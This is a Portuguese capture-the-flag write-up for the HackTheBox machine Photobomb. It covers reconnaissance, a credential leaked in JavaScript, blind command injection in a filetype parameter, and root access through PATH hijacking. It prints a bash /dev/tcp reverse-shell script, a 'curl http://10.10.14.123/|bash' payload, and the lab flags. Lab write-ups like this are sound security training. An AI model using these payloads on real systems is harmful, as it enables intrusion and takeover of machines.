Photobomb
#easy #HackTheBox #Linux #eWPT #OSCP
Reconhecimento de Rede
Verificando a conectividade via Ping
A primeira ação para reconhecimento do alvo é testar a conectividade com ele, utilizando o comando ping
. Ao enviar um pacote ICMP, podemos confirmar se a máquina alvo está acessível na rede.
No retorno, o TTL de 63 é uma indicação de que possivelmente estamos lidando com um sistema Linux. O TTL inicial para sistemas Linux costuma ser 64, e o valor observado no ping geralmente é reduzido conforme os pacotes atravessam roteadores na rede. Como o TTL está próximo de 64, é provável que o sistema alvo seja uma máquina Linux.
attacker> ping -c 1 10.10.11.182
PING 10.10.11.182 (10.10.11.182) 56(84) bytes of data.
64 bytes from 10.10.11.182: icmp_seq=1 ttl=63 time=324 ms
--- 10.10.11.182 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 323.754/323.754/323.754/0.000 ms
Varredura de Portas e Serviços
Em seguida, executei um escaneamento de porta no alvo para identificar quaisquer portas abertas que pudessem ser usadas para novos ataques. Usei a ferramenta rustscan
para verificar todas as portas (1-65535) no alvo. A varredura revelou a porta 80 HTTP aberta rodando um nginx 1.18.0 em um Linux Ubuntu além da porta 22 rodando um OpenSSH 8.2p1.
attacker> rustscan -a 10.10.11.182 -r 1-65535 --ulimit 5000 -- -sCV -n -Pn -oX nmap.xml
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
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: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
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22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e22473bbfbdf5cb520b66876748ab58d (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCwlzrcH3g6+RJ9JSdH4fFJPibAIpAZXAl7vCJA+98jmlaLCsANWQXth3UsQ+TCEf9YydmNXO2QAIocVR8y1NUEYBlN2xG4/7txjoXr9QShFwd10HNbULQyrGzPaFEN2O/7R90uP6lxQIDsoKJu2Ihs/4YFit79oSsCPMDPn8XS1fX/BRRhz1BDqKlLPdRIzvbkauo6QEhOiaOG1pxqOj50JVWO3XNpnzPxB01fo1GiaE4q5laGbktQagtqhz87SX7vWBwJXXKA/IennJIBPcyD1G6YUK0k6lDow+OUdXlmoxw+n370Knl6PYxyDwuDnvkPabPhkCnSvlgGKkjxvqks9axnQYxkieDqIgOmIrMheEqF6GXO5zz6WtN62UAIKAgxRPgIW0SjRw2sWBnT9GnLag74cmhpGaIoWunklT2c94J7t+kpLAcsES6+yFp9Wzbk1vsqThAss0BkVsyxzvL0U9HvcyyDKLGFlFPbsiFH7br/PuxGbqdO9Jbrrs9nx60=
| 256 04e3ac6e184e1b7effac4fe39dd21bae (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBrVE9flXamwUY+wiBc9IhaQJRE40YpDsbOGPxLWCKKjNAnSBYA9CPsdgZhoV8rtORq/4n+SO0T80x1wW3g19Ew=
| 256 20e05d8cba71f08c3a1819f24011d29e (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEp8nHKD5peyVy3X3MsJCmH/HIUvJT+MONekDg5xYZ6D
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://photobomb.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
A varredura também retornou um nome de domínio que adicionei ao meu arquivo /etc/hosts
.
attacker> grep 'photobomb.htb' /etc/hosts
10.10.11.182 photobomb.htb
HTTP (80) Enumeration
Em seguida, passei a enumerar o serviço HTTP usando a ferramenta whatweb
para coletar informações sobre o software e a versão do servidor web.
attacker> whatweb -v http://photobomb.htb | tee whatweb.txt
WhatWeb report for http://photobomb.htb
Status : 200 OK
Title : Photobomb
IP : 10.10.11.182
Country : RESERVED, ZZ
Summary : HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], nginx[1.18.0], Script, UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[1; mode=block]
HTTP Headers:
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 05 Dec 2022 22:14:23 GMT
Content-Type: text/html;charset=utf-8
Transfer-Encoding: chunked
Connection: close
X-Xss-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Encoding: gzip
Navegando na porta 80, temos o website de uma gráfica.

A página tem um link (click here) redirecionando para a rota /printer
que possui um painel de autenticação.

Fazendo um spidering nesta aplicação usando a ferramenta gospider
, identificamos uma credencial exposta no arquivo photobomb.js
.
attacker> gospider -s http://photobomb.htb
[url] - [code-200] - http://photobomb.htb
[javascript] - http://photobomb.htb/photobomb.js
[linkfinder] - [from: http://photobomb.htb/photobomb.js] - http://pH0t0:b0Mb!@photobomb.htb/printer
Indo ao arquivo, vemos uma função JavaScript que possui um hiperlink expondo de fato uma credencial.

Com isso, nota-se a importância de visualizar o código fonte de um site e analisar códigos JavaScript. Os desenvolvedores web às vezes cometem erros e deixam falhas de configuração ou credenciais dentro do código fonte visível de uma página web.
Agora vamos tentar fazer o login com esse nome de usuário pH0t0
e senha b0Mb!
. Usando essa credencial ganhamos acesso a rota /printer
.

Nessa rota, temos uma página com diversas imagens, bem como a capacidade de especificar suas dimensões e fazer o download delas.

Command Injection
Portanto, ao clicar em download, interceptei a requisição usando o Burp Suite
para visualizar o que está sendo enviado para o servidor.
Após alguns testes, percebo que o parâmetro filetype
é vulnerável a Blind Command Injection. Como prova de conceito (PoC), enviei um ping para minha máquina atacante e aguardei a resposta do ping com a ferramenta tcpdump
.

Ao enviar a requisição maliciosa com o Burp Suite
, recebemos um ping do alvo, ou seja, de fato o parâmetro filetype
é vulnerável a injeção de comando, e temos comunicação direta com o alvo.
attacker> tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
17:53:37.730711 IP photobomb.htb > 10.10.14.123: ICMP echo request, id 3, seq 1, length 64
17:53:37.730795 IP 10.10.14.123 > photobomb.htb: ICMP echo reply, id 3, seq 1, length 64
^C
2 packets captured
2 packets received by filter
0 packets dropped by kernel
Gaining Access
A mesma dinâmica funciona usando cURL
em vez de ping
. Portanto, podemos tirar proveito disso para obter uma reverse shell.
Para fazer isso, estarei compartilhando com um servidor HTTP do python um arquivo index.html
malicioso, contendo um script bash para enviar uma shell para um netcat
que estará em escuta na minha máquina atacante.
attacker> cat index.html
#!/bin/bash
bash -i >& /dev/tcp// 0>&1
attacker> python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
A ideia é que ao fazer o alvo enviar um cURL
para este arquivo index.html
e interpretá-lo com | bash
, o alvo executará o comando que colocamos no index.html
, e consequentemente enviará uma reverse shell para nosso netcat
.

curl http://10.10.14.123/|bash
Assim, ganhamos acesso ao alvo como usuário wizard
.
attacker> nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.123] from (UNKNOWN) [10.10.11.182] 59862
bash: cannot set terminal process group (702): Inappropriate ioctl for device
bash: no job control in this shell
wizard@photobomb:~/photobomb$ hostname -I; day=$USER; echo $day
hostname -I; day=$USER; echo $day
10.10.11.182 dead:beef::250:56ff:feb9:24a2
wizard
Upgrade da Shello
Após obter o acesso inicial com o shell reverso, o próximo passo foi melhorar a interatividade da shell para garantir que tivéssemos um controle mais robusto sobre o sistema alvo.
Gerando um console bash em segundo plano: Para garantir que tivéssemos um bash funcional, foi necessário criar um processo de
bash
através do comandoscript
, que abre uma sessão interativa mais apropriada, logo após, colocamos em background comCTRL+Z
:wizard@photobomb:~/photobomb$ script /dev/null -c bash script /dev/null -c bash Script started, file is /dev/null wizard@photobomb:~/photobomb$ ^Z zsh: suspended nc -nlvp 443
Verificando as dimensões do terminal na máquina atacante: Antes de ajustar o terminal no alvo, verificamos as dimensões da janela na máquina atacante para mantê-las iguais:
attacker> stty size 52 128
Resetando o terminal no alvo: Após isso, resetei o terminal do alvo com uma nova TTY:
attacker> stty raw -echo; fg [1] + continued nc -nlvp 443 reset xterm
Definindo dimensões e variáveis de ambiente: Com o terminal tratado, exportei as variáveis de ambiente e ajustei as dimensões corretamente:
wizard@photobomb:~/photobomb$ stty rows 52 columns 128 wizard@photobomb:~/photobomb$ export SHELL=bash TERM=xterm
User Flag
Navegando ao diretório /home
do usuário wizard
podemos encontrar a flag user.txt
.
wizard@photobomb:~/photobomb$ cat /home/wizard/user.txt
affce247c90da3c7593abebe0c9c6e08
Com essa flag, concluímos o primeiro objetivo do CTF e podemos passar para a próxima etapa de escalar privilégios para obter acesso a flag root.txt
.
Privilege Escalation
Utilizando o comando sudo -l
, foi possível verificar quais comandos o usuário atual tinha permissão de executar como root. O comando revelou que o usuário tinha permissão para executar o script /opt/cleanup.sh
definindo a variável de ambiente $PATH
e sem a necessidade de inserir senha.
wizard@photobomb:~$ sudo -l
Matching Defaults entries for wizard on photobomb:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User wizard may run the following commands on photobomb:
(root) SETENV: NOPASSWD: /opt/cleanup.sh
Listando este script, vemos que ele pertence ao usuário root
.
wizard@photobomb:~$ ls -la /opt/cleanup.sh
-r-xr-xr-x 1 root root 340 Sep 15 12:11 /opt/cleanup.sh
Abrindo o script podemos vemos que o binário find
está sendo definido sem rota absoluta, portanto, podemos aplicar um Path Hijacking
.
Obs: Não só o find
mas no script também temos a presença do caractere "[
" na condição if, e "[
" no Linux é reconhecido como um binário, portanto, o abuso de path hijacking curiosamente também poderia ser feito com "[
".
Com isto, no diretório /tmp
podemos criar um arquivo chamado find
contendo o comando bash
.
wizard@photobomb:/tmp$ echo '/bin/bash' > find
wizard@photobomb:/tmp$ chmod +x find
wizard@photobomb:/tmp$ export PATH=/tmp:$PATH
wizard@photobomb:/tmp$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Agora, ao executarmos o script /opt/cleanup.sh
como sudo definindo a variável de ambiente $PATH
(SETENV) como sendo /tmp
, ao ser executado, o script interpretá-ra que o find
que ele deve usar é o que criamos no diretório /tmp
, e assim, ganharemos uma shell como root.
wizard@photobomb:/tmp$ sudo PATH=/tmp:$PATH /opt/cleanup.sh
root@photobomb:/home/wizard/photobomb# whoami
root
Então basta ler a flag root.txt
no diretório /root
para concluir o objetivo do CTF.
root@photobomb:/home/wizard/photobomb# cat /root/root.txt
8b096e9b696629d58d8ea5173764a194
Com a escalada de privilégios bem-sucedida e acesso root obtido, todas as flags foram coletadas e a máquina foi totalmente comprometida.
Atualizado